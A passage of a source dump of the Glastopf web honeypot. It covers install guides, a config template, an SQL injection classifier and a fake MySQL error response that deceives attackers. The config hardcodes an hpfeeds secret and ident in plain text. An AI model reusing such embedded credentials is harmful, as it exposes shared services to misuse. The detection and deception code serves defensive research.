--enable-bfr 47 | make && make install 48 | 49 | Copy the search path to bfr.so and add it to */etc/php-5.3.ini*. It can look like this:: 50 | 51 | zend_extension = /usr/local/lib/php-5.3/modules/bfr.so 52 | 53 | | 54 | 55 | Install Glastopf 56 | ================ 57 | | 58 | 59 | Install latest stable release from pip:: 60 | 61 | pip install glastopf 62 | 63 | Or install latest development version from the repository:: 64 | 65 | cd /opt 66 | git clone https://github.com/mushorg/glastopf.git 67 | cd glastopf 68 | python setup.py install 69 | 70 | | 71 | 72 | Configuration 73 | ============= 74 | | 75 | 76 | Prepare glastopf environment:: 77 | 78 | cd /opt 79 | mkdir myhoneypot 80 | cd myhoneypot 81 | glastopf-runner 82 | 83 | A new default glastopf.cfg has been created in *myhoneypot*, which can be customized as required. 84 | 85 | | 86 | 87 | Testing the Honeypot 88 | ==================== 89 | | 90 | 91 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 92 | 93 | 2013-03-15 12:56:42,075 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 94 | 2013-03-15 12:56:42,077 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 95 | 2013-03-15 12:56:42,146 (glastopf.modules.handlers.emulators.dork_list.dork_page_generator) Bootstrapping dork database. 96 | 2013-03-15 12:56:42,159 (requests.packages.urllib3.connectionpool) Starting new HTTPS connection (1): mnemosyne.honeycloud.net 97 | 2013-03-15 12:56:42,622 (requests.packages.urllib3.connectionpool) "POST /login HTTP/1.1" 200 30 98 | 2013-03-15 12:56:42,753 (requests.packages.urllib3.connectionpool) "GET /api/v1/aux/dorks?limit=1000 HTTP/1.1" 200 45235 99 | 2013-03-15 12:56:42,831 (glastopf.modules.handlers.emulators.dork_list.mnem_service) Successfully retrieved 258 dorks from the mnemosyne service. 100 | 2013-03-15 12:56:44,406 (glastopf.glastopf) Generating initial dork pages - this can take a while. 101 | 2013-03-15 12:56:46,382 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 102 | 2013-03-15 12:56:46,871 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 103 | 2013-03-15 12:56:52,856 (glastopf.glastopf) Glastopf started and privileges dropped. 104 | 2013-03-15 12:57:04,073 (glastopf.glastopf) 192.168.10.85 requested GET / on 192.168.10.97 105 | 2013-03-15 12:57:04,149 (glastopf.glastopf) 192.168.10.85 requested GET /style.css on 192.168.10.97 106 | 2013-03-15 12:57:05,766 (glastopf.glastopf) 192.168.10.85 requested GET / on 192.168.10.97 107 | 2013-03-15 12:57:05,825 (glastopf.glastopf) 192.168.10.85 requested GET /style.css on 192.168.10.97 108 | 2013-03-15 12:57:06,611 (glastopf.glastopf) 192.168.10.85 requested GET / on 192.168.10.97 109 | 110 | -------------------------------------------------------------------------------- /docs/source/installation/installation_osx.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation - OS X (Mountain Lion) 2 | -------------------------------------------- 3 | | 4 | | 5 | 6 | Prerequisites 7 | ============= 8 | | 9 | 10 | Xcode, gfortran, autoconf and gevent are required when installing Glastopf on OS X. 11 | 12 | * Xcode can be installed from App Store. Command Line Tools must be installed after Xcode has been installed. 13 | * Gfortran can be install using homebrew. 14 | 15 | Install gfortran, autoconf and gevent using homebrew:: 16 | 17 | brew install gfortran 18 | brew install autoconf 19 | brew install gevent 20 | 21 | Then we need to install pip:: 22 | 23 | sudo easy_install pip 24 | 25 | 26 | Install and configure the PHP sandbox 27 | ===================================== 28 | | 29 | 30 | Download using git:: 31 | 32 | sudo mkdir /opt 33 | cd /opt 34 | sudo git clone git://github.com/mushorg/BFR.git 35 | cd BFR 36 | sudo phpize 37 | sudo ./configure --enable-bfr 38 | sudo make && sudo make install 39 | 40 | 41 | Open the php.ini file and add bfr.so accordingly to the build output:: 42 | 43 | zend_extension = /usr/lib/php/extensions/no-debug-non-zts-20090626/bfr.so 44 | 45 | 46 | Installing and setting up a virtual environment 47 | =============================================== 48 | | 49 | 50 | Prepare virtual environment:: 51 | 52 | sudo pip install virtualenv 53 | sudo virtualenv glastopf-virt --system-site-packages 54 | source glastopf-virt/bin/activate 55 | 56 | Install Glastopf using pip:: 57 | 58 | sudo pip install glastopf 59 | 60 | 61 | Starting the honeypot 62 | ========================= 63 | | 64 | 65 | Note: Before using the follow command make sure you are operating within the virtual environment. 66 | 67 | Prepare glastopf environment:: 68 | 69 | cd /opt 70 | sudo mkdir myhoneypot 71 | cd myhoneypot 72 | sudo glastopf-runner 73 | 74 | If you receive errors regarding syslog when starting glastopf, please update the syslog path in glastopf.cfg:: 75 | 76 | [syslog] 77 | enabled = False 78 | socket = /var/run/syslog 79 | 80 | 81 | Testing the Honeypot 82 | ==================== 83 | | 84 | 85 | Start Glastopf (from your 'myhoneypot' directory):: 86 | 87 | sudo glastopf-runner 88 | 89 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 90 | 91 | 2013-03-14 09:17:59,004 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 92 | 2013-03-14 09:17:59,014 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 93 | 2013-03-14 09:17:59,113 (glastopf.modules.handlers.emulators.dork_list.dork_page_generator) Bootstrapping dork database. 94 | 2013-03-14 09:17:59,133 (requests.packages.urllib3.connectionpool) Starting new HTTPS connection (1): mnemosyne.honeycloud.net 95 | 2013-03-14 09:18:00,154 (requests.packages.urllib3.connectionpool) "POST /login HTTP/1.1" 200 30 96 | 2013-03-14 09:18:00,589 (requests.packages.urllib3.connectionpool) "GET /api/v1/aux/dorks?limit=1000 HTTP/1.1" 200 180459 97 | 2013-03-14 09:18:00,711 (glastopf.modules.handlers.emulators.dork_list.mnem_service) Successfully retrieved 1000 dorks from the mnemosyne service. 98 | 2013-03-14 09:18:02,752 (glastopf.glastopf) Generating initial dork pages - this can take a while. 99 | 2013-03-14 09:18:05,223 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 100 | 2013-03-14 09:18:05,280 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 101 | 2013-03-14 09:18:08,408 (glastopf.glastopf) Glastopf started and privileges dropped. 102 | 2013-03-14 09:18:49,185 (glastopf.glastopf) 172.16.177.131 requested GET / on 172.16.177.131 103 | 2013-03-14 09:18:49,250 (glastopf.glastopf) 172.16.177.131 requested GET /style.css on 172.16.177.131 104 | 2013-03-14 09:18:49,381 (glastopf.glastopf) 172.16.177.131 requested GET /favicon.ico on 172.16.177.131 105 | 106 | -------------------------------------------------------------------------------- /docs/source/installation/installation_raspberry.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation - Raspberry - Raspbian 2 | -------------------------------------------- 3 | | 4 | | 5 | 6 | Prerequisites 7 | ============= 8 | | 9 | 10 | Download and install Raspbian wheezy image from: 11 | 12 | http://www.raspberrypi.org/downloads 13 | 14 | 15 | Install the dependencies:: 16 | 17 | apt-get update 18 | apt-get install python python-openssl python-gevent libevent-dev python-dev build-essential make 19 | apt-get install python-argparse python-chardet python-requests python-sqlalchemy python-lxml 20 | apt-get install python-beautifulsoup python-pip python-dev python-setuptools 21 | apt-get install g++ git php5-fpm php5-dev liblapack-dev gfortran cython 22 | apt-get install libxml2-dev libxslt-dev 23 | apt-get install libmysqlclient-dev 24 | pip install --upgrade distribute 25 | 26 | | 27 | 28 | 29 | 30 | Install and configure the PHP sandbox 31 | ===================================== 32 | | 33 | 34 | Download using git:: 35 | 36 | cd /opt 37 | git clone git://github.com/mushorg/BFR.git 38 | cd BFR 39 | phpize 40 | ./configure --enable-bfr 41 | make && make install 42 | 43 | 44 | Copy the search path to bfr.so and add it to php.ini. It can look like this:: 45 | 46 | zend_extension = /usr/lib/php5/20100525+lfs/bfr.so 47 | 48 | | 49 | 50 | 51 | Install pylibinjection 52 | ===================================== 53 | | 54 | 55 | Download using git:: 56 | 57 | cd /opt 58 | git clone https://github.com/client9/libinjection.git 59 | git clone https://github.com/mushorg/pylibinjection.git 60 | rm /opt/pylibinjection/src/pylibinjection.c 61 | cd pylibinjection/ 62 | python setup.py build 63 | 64 | 65 | 66 | Install glastopf 67 | ================== 68 | | 69 | 70 | Install latest stable release from pip:: 71 | 72 | pip install glastopf 73 | 74 | Or install latest development version from the repository:: 75 | 76 | cd /opt 77 | git clone https://github.com/mushorg/glastopf.git 78 | cd glastopf 79 | python setup.py install 80 | 81 | | 82 | 83 | Configuration 84 | ========================= 85 | | 86 | 87 | Prepare glastopf environment:: 88 | 89 | cd /opt 90 | mkdir myhoneypot 91 | cd myhoneypot 92 | glastopf-runner 93 | 94 | A new default glastopf.cfg has been created in *myhoneypot*, which can be customized as required. 95 | 96 | | 97 | 98 | 99 | Testing the Honeypot 100 | ==================== 101 | | 102 | 103 | Start Glastopf (from your 'myhoneypot' directory):: 104 | 105 | glastopf-runner 106 | 107 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 108 | 109 | 2013-03-13 21:10:33,047 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 110 | 2013-03-13 21:10:33,048 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 111 | 2013-03-13 21:10:33,073 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 112 | 2013-03-13 21:10:33,237 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 113 | 2013-03-13 21:10:36,290 (glastopf.glastopf) Glastopf started and privileges dropped. 114 | 2013-03-13 21:10:56,282 (glastopf.glastopf) 192.168.1.148 requested GET / on 192.168.1.109 115 | 2013-03-13 21:10:56,401 (glastopf.glastopf) 192.168.1.148 requested GET /style.css on 192.168.1.109 116 | 2013-03-13 21:10:56,463 (glastopf.glastopf) 192.168.1.148 requested GET /favicon.ico on 192.168.1.109 117 | 118 | -------------------------------------------------------------------------------- /docs/source/installation/installation_ubuntu.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation - Ubuntu 12.04 LTS 2 | ----------------------------------------- 3 | | 4 | | 5 | 6 | Prerequisites 7 | ============= 8 | | 9 | Install the dependencies:: 10 | 11 | sudo apt-get update 12 | sudo apt-get install python2.7 python-openssl python-gevent libevent-dev python2.7-dev build-essential make 13 | sudo apt-get install python-chardet python-requests python-sqlalchemy python-lxml 14 | sudo apt-get install python-beautifulsoup mongodb python-pip python-dev python-setuptools 15 | sudo apt-get install g++ git php5 php5-dev liblapack-dev gfortran libmysqlclient-dev 16 | sudo apt-get install libxml2-dev libxslt-dev 17 | sudo pip install --upgrade distribute 18 | | 19 | 20 | Install and configure the PHP sandbox 21 | ===================================== 22 | | 23 | Download using git:: 24 | 25 | cd /opt 26 | sudo git clone git://github.com/mushorg/BFR.git 27 | cd BFR 28 | sudo phpize 29 | sudo ./configure --enable-bfr 30 | sudo make && sudo make install 31 | 32 | 33 | Open the php.ini file and add bfr.so accordingly to the build output 34 | 35 | default locations of php.ini: 36 | 37 | /etc/php5/apache2/php.ini (Ubuntu 14.04 LTS with apache) 38 | 39 | /etc/php/5.6/cli/php.ini (Ubuntu 16.04 LTS) 40 | 41 | zend_extension = /usr/lib/php5/20090626+lfs/bfr.so 42 | 43 | | 44 | 45 | Install glastopf 46 | ================== 47 | | 48 | Install latest stable release from pip:: 49 | 50 | sudo pip install glastopf 51 | 52 | Or install latest development version from the repository:: 53 | 54 | cd /opt 55 | sudo git clone https://github.com/mushorg/glastopf.git 56 | cd glastopf 57 | sudo python setup.py install 58 | | 59 | 60 | Configuration 61 | ========================= 62 | | 63 | 64 | Prepare glastopf environment:: 65 | 66 | cd /opt 67 | sudo mkdir myhoneypot 68 | cd myhoneypot 69 | sudo glastopf-runner 70 | 71 | A new default glastopf.cfg has been created in *myhoneypot*, which can be customized as required. 72 | 73 | | 74 | 75 | 76 | Testing the Honeypot 77 | ==================== 78 | | 79 | 80 | Start Glastopf (from your 'myhoneypot' directory):: 81 | 82 | sudo glastopf-runner 83 | 84 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 85 | 86 | 2013-03-14 08:34:08,129 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 87 | 2013-03-14 08:34:08,130 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 88 | 2013-03-14 08:34:08,152 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 89 | 2013-03-14 08:34:08,227 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 90 | 2013-03-14 08:34:11,265 (glastopf.glastopf) Glastopf started and privileges dropped. 91 | 2013-03-14 08:34:32,853 (glastopf.glastopf) 192.168.10.85 requested GET / on 192.168.10.102 92 | 2013-03-14 08:34:32,960 (glastopf.glastopf) 192.168.10.85 requested GET /style.css on 192.168.10.102 93 | 2013-03-14 08:34:33,021 (glastopf.glastopf) 192.168.10.85 requested GET /favicon.ico on 192.168.10.102 94 | 95 | -------------------------------------------------------------------------------- /docs/update-site.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Script to update gh-pages 3 | 4 | set -e 5 | 6 | TMP_REPO=`mktemp -d -t glastopf-site.XXX` 7 | TMP_HTML=`mktemp -d -t glastopf-site.XXX` 8 | 9 | git show HEAD:glastopf/__init__.py > source/glastopf_version.py 10 | 11 | make html 12 | cp -R build/html/* $TMP_HTML 13 | 14 | git clone git@github.com:mushorg/glastopf.git $TMP_REPO 15 | cd $TMP_REPO 16 | git checkout gh-pages 17 | git symbolic-ref HEAD refs/heads/gh-pages 18 | rm .git/index 19 | git clean -fdx 20 | cp -R $TMP_HTML/* $TMP_REPO 21 | touch $TMP_REPO/.nojekyll 22 | git add . 23 | git commit -a -m "Site update" 24 | git push origin gh-pages 25 | rm -rf $TMP_REPO 26 | rm -rf $TMP_HTML 27 | -------------------------------------------------------------------------------- /glastopf/__init__.py: -------------------------------------------------------------------------------- 1 | __version__ = '3.1.3-dev' 2 | -------------------------------------------------------------------------------- /glastopf/glastopf.cfg.dist: -------------------------------------------------------------------------------- 1 | [webserver] 2 | host = 0.0.0.0 3 | port = 80 4 | uid = nobody 5 | gid = nogroup 6 | proxy_enabled = False 7 | 8 | [ssl] 9 | enabled = False 10 | certfile = 11 | keyfile = 12 | port = 13 | 14 | #Generic logging for general monitoring 15 | [logging] 16 | consolelog_enabled = True 17 | filelog_enabled = True 18 | logfile = log/glastopf.log 19 | 20 | [dork-db] 21 | enabled = True 22 | pattern = rfi 23 | # Extracts dorks from a online dorks service operated by The Honeynet Project 24 | # This service is down until further notice! 25 | mnem_service = False 26 | 27 | [hpfeed] 28 | enabled = False 29 | host = hpfriends.honeycloud.net 30 | port = 20000 31 | secret = 3wis3l2u5l7r3cew 32 | # channels comma separated 33 | chan_events = glastopf.events 34 | chan_files = glastopf.files 35 | ident = x8yer@hp1 36 | 37 | [main-database] 38 | #If disabled a sqlite database will be created (db/glastopf.db) 39 | #to be used as dork storage. 40 | enabled = True 41 | #mongodb or sqlalchemy connection string, ex: 42 | #mongodb://localhost:27017/glastopf 43 | #mongodb://james:bond@localhost:27017/glastopf 44 | #mysql://james:bond@somehost.com/glastopf 45 | connection_string = sqlite:///db/glastopf.db 46 | 47 | [surfcertids] 48 | enabled = False 49 | host = localhost 50 | port = 5432 51 | user = 52 | password = 53 | database = idsserver 54 | 55 | [syslog] 56 | enabled = False 57 | socket = /dev/log 58 | 59 | [mail] 60 | enabled = False 61 | # an email notification will be sent only if a specified matched pattern is identified. 62 | # Use the wildcard char *, to be notified every time 63 | patterns = rfi,lfi 64 | user = 65 | pwd = 66 | mail_from = 67 | mail_to = 68 | smtp_host = smtp.gmail.com 69 | smtp_port = 587 70 | 71 | [taxii] 72 | enabled = False 73 | host = taxiitest.mitre.org 74 | port = 80 75 | inbox_path = /services/inbox/default/ 76 | use_https = False 77 | use_auth_basic = False 78 | auth_basic_username = your_username 79 | auth_basic_password = your_password 80 | use_auth_certificate = False 81 | auth_certificate_keyfile = full_path_to_keyfile 82 | auth_certificate_certfile = full_path_to_certfile 83 | include_contact_info = False 84 | contact_name = ... 85 | contact_email = ... 86 | 87 | [logstash] 88 | enabled = False 89 | host = localhost 90 | port = 5659 91 | handler = AMQP/TCP/UDP 92 | 93 | [misc] 94 | # set webserver banner 95 | banner = Apache/2.0.48 96 | 97 | [surface] 98 | #https://www.google.com/webmasters/ 99 | google_meta = 100 | #http://www.bing.com/toolbox/webmaster 101 | bing_meta = 102 | 103 | [sensor] 104 | sensorid = None 105 | 106 | [profiler] 107 | enabled = False 108 | 109 | [s3storage] 110 | enabled = False 111 | endpoint = http://localhost:8080/ 112 | aws_access_key_id = YOUR_aws_access_key_id 113 | aws_secret_access_key = YOUR_aws_access_key_id 114 | bucket = glastopf 115 | region = eu-west-1 116 | signature_version = s3 117 | -------------------------------------------------------------------------------- /glastopf/modules/HTTP/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/HTTP/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/HTTP/method_handler.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | import glastopf.modules.classification.request as request_classifier 18 | 19 | 20 | class HTTPMethods(object): 21 | # TODO: Add more method handler 22 | 23 | def __init__(self, data_dir): 24 | self.data_dir = data_dir 25 | pass 26 | 27 | def GET(self, http_request): 28 | req_classifier = request_classifier.Classifier(self.data_dir) 29 | matched_pattern = req_classifier.classify_request(http_request) 30 | return matched_pattern 31 | 32 | def POST(self, http_request): 33 | req_classifier = request_classifier.Classifier(self.data_dir) 34 | matched_pattern = req_classifier.classify_request(http_request) 35 | #http_request.request_body -> File('files/payloads') 36 | return matched_pattern 37 | 38 | def HEAD(self, http_request): 39 | return "head" 40 | 41 | def TRACE(self, http_request): 42 | return "trace" 43 | 44 | def OPTIONS(self, http_request): 45 | # TODO: Return the proper OPTIONS respone 46 | return "options" 47 | 48 | def PUT(self, http_request): 49 | return "put" 50 | -------------------------------------------------------------------------------- /glastopf/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/classification/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/classification/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/classification/sql.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import difflib 19 | import os 20 | import json 21 | 22 | import pylibinjection 23 | 24 | 25 | class SQLiClassifier(object): 26 | """ Compares input to known queries 27 | 28 | Compares the input query with a set of known queries. 29 | Goal is to select a proper response, not to decide if malicious. 30 | """ 31 | def __init__(self): 32 | file_dir = os.path.dirname(os.path.abspath(__file__)) 33 | queries_file = os.path.join(file_dir, "sql_utils", "token_map.json") 34 | with open(queries_file, "rb") as fh: 35 | self.token_map = json.load(fh) 36 | 37 | @classmethod 38 | def classify(cls, string): 39 | return pylibinjection.detect_sqli(string) 40 | 41 | def _token_squence_matcher(self, query_tokens): 42 | """ Compares the token squence 43 | 44 | Libinjection tokenizes the query. We compare those tokens with our known list. 45 | """ 46 | best_ratio = 0.0 47 | best_query = None 48 | for i, val in self.token_map.items(): 49 | # Sequence comparison 50 | ratio = difflib.SequenceMatcher(None, query_tokens, val["libinj"]["tokens"]).ratio() 51 | if ratio > best_ratio: 52 | best_ratio = ratio 53 | best_query = i 54 | if best_ratio == 1.0: 55 | break 56 | return best_query, best_ratio 57 | 58 | def _query_string_match(self, payload): 59 | """ Compares the query string 60 | 61 | Compares the query string with our known list. 62 | This is usually less successful than the token comparison but catches corner cases. 63 | """ 64 | ratio = 0.8 65 | queries = [query["query"].lower() for query in self.token_map.values()] 66 | best_matches = difflib.get_close_matches(payload, queries, 1, ratio) 67 | if len(best_matches) > 0: 68 | for i, val in self.token_map.items(): 69 | if val["query"].lower() == best_matches[0]: 70 | return i, ratio 71 | return None, None 72 | 73 | def query_similarity(self, query_tokens, payload): 74 | best_query, best_ratio = self._query_string_match(payload) 75 | if best_query is None: 76 | best_query, best_ratio = self._token_squence_matcher(query_tokens) 77 | return best_query, best_ratio 78 | -------------------------------------------------------------------------------- /glastopf/modules/classification/sql_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/classification/sql_utils/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/classification/sql_utils/patterns.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 0 6 | 7 | 8 | mysql,postgresql,oracle,mssql 9 | error 10 | 11 | 12 | 1 13 | 14 | 15 | mssql 16 | None 17 | 18 | 19 | 2 20 | 21 | )]]> 22 | mysql,postgresql,oracle,mssql 23 | error 24 | 25 | 26 | 3 27 | 28 | 29 | 30 | error 31 | 32 | 33 | 4 34 | 35 | 36 | 37 | None 38 | 39 | 40 | 5 41 | 42 | 43 | 44 | None 45 | 46 | 47 | 6 48 | 49 | 50 | mysql,postgresql,oracle,mssql 51 | error 52 | 53 | 54 | 7 55 | 56 | 57 | mysql,postgresql,oracle,mssql 58 | error 59 | 60 | 61 | 8 62 | 63 | 64 | mysql,postgresql,oracle,mssql 65 | error 66 | 67 | 68 | 9 69 | 70 | 71 | mysql,postgresql,oracle,mssql 72 | error 73 | 74 | -------------------------------------------------------------------------------- /glastopf/modules/classification/sql_utils/responses.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from xml.etree import ElementTree 19 | import os 20 | 21 | 22 | class Response(object): 23 | def __init__(self, r_id, desc, content): 24 | self.id = r_id 25 | self.desc = desc 26 | self.content = content 27 | 28 | 29 | class SQLResponses(object): 30 | """ Fetches a response from the list of responses 31 | 32 | The xml file provides a place to store responses. 33 | """ 34 | # FIXME: Error handling for errors in the xml file 35 | def __init__(self): 36 | file_dir = os.path.dirname(os.path.abspath(__file__)) 37 | responses_file = os.path.join(file_dir, "responses.xml") 38 | tree = ElementTree.parse(responses_file) 39 | doc = tree.getroot() 40 | self.xml_responses = doc.findall("response") 41 | 42 | def _get_responses(self): 43 | self.responses = [] 44 | for xml_response in self.xml_responses: 45 | r_id = xml_response.find("id").text.strip() 46 | desc = xml_response.find("description").text.strip() 47 | content = xml_response.find("content").text.strip() 48 | response = Response(r_id, desc, content) 49 | self.responses.append(response) 50 | return self.responses 51 | 52 | def get_response(self, r_id): 53 | for response in self._get_responses(): 54 | if response.id == r_id: 55 | return response 56 | for response in self._get_responses(): 57 | if response.id == "mysql_error": 58 | return response 59 | -------------------------------------------------------------------------------- /glastopf/modules/classification/sql_utils/responses.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | mysql_error 5 | MySQL error message 6 | Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'PAYLOAD' at line 1 7 | 8 | -------------------------------------------------------------------------------- /glastopf/modules/classification/sql_utils/tokenizer.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import json 19 | from lxml import etree 20 | 21 | import pylibinjection 22 | 23 | 24 | class SQLiClassifier(object): 25 | 26 | def __init__(self): 27 | pass 28 | 29 | def classify(self, string): 30 | return pylibinjection.detect_sqli(string) 31 | 32 | 33 | if __name__ == "__main__": 34 | out = dict() 35 | sqli_c = SQLiClassifier() 36 | parser = etree.XMLParser() 37 | with open("queries.xml", "rb") as fh: 38 | tree = etree.fromstring(fh.read(), parser) 39 | i = 0 40 | for query in tree.xpath("/queries/query"): 41 | query_str = query.xpath("query")[0].text.strip().encode("UTF-8") 42 | db = query.xpath("database")[0].text.strip() 43 | try: 44 | resp = query.xpath("response")[0].text.strip() 45 | except IndexError: 46 | resp = None 47 | try: 48 | res = sqli_c.classify(query_str) 49 | out[i] = { 50 | "db": db, 51 | "query": query_str, 52 | "resp": resp, 53 | "libinj": res 54 | } 55 | except UnicodeEncodeError: 56 | raise 57 | else: 58 | i += 1 59 | with open("token_map.json", "wb") as fh: 60 | fh.write(json.dumps(out, indent=4)) -------------------------------------------------------------------------------- /glastopf/modules/events/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/events/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/events/attack.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from datetime import datetime 19 | import uuid 20 | 21 | 22 | class AttackEvent(object): 23 | def __init__(self): 24 | self.id = str(uuid.uuid4()) 25 | self.sensor_addr = ("", "") 26 | self.http_request = None 27 | self.raw_request = None 28 | self.event_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 29 | self.source_addr = None 30 | self.matched_pattern = "unknown" 31 | self.file_name = None 32 | self.file_sha256 = None 33 | self.version = None 34 | self.sensorid = None 35 | self.known_file = False 36 | 37 | def event_dict(self): 38 | event_dict = { 39 | "time": self.event_time, 40 | "source": self.source_addr, 41 | "request_url": self.http_request.request_url, 42 | "request_raw": self.http_request.request_raw, 43 | "pattern": self.matched_pattern, 44 | "filename": self.file_name, 45 | "file_sha256": self.file_sha256, 46 | "version": self.version, 47 | "sensorid": self.sensorid, 48 | "known_file": self.known_file 49 | } 50 | return event_dict 51 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/handlers/base_emulator.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | 20 | package_directory = os.path.dirname(os.path.abspath(__file__)) 21 | 22 | 23 | class BaseEmulator(object): 24 | def __init__(self, data_dir): 25 | self.data_dir = 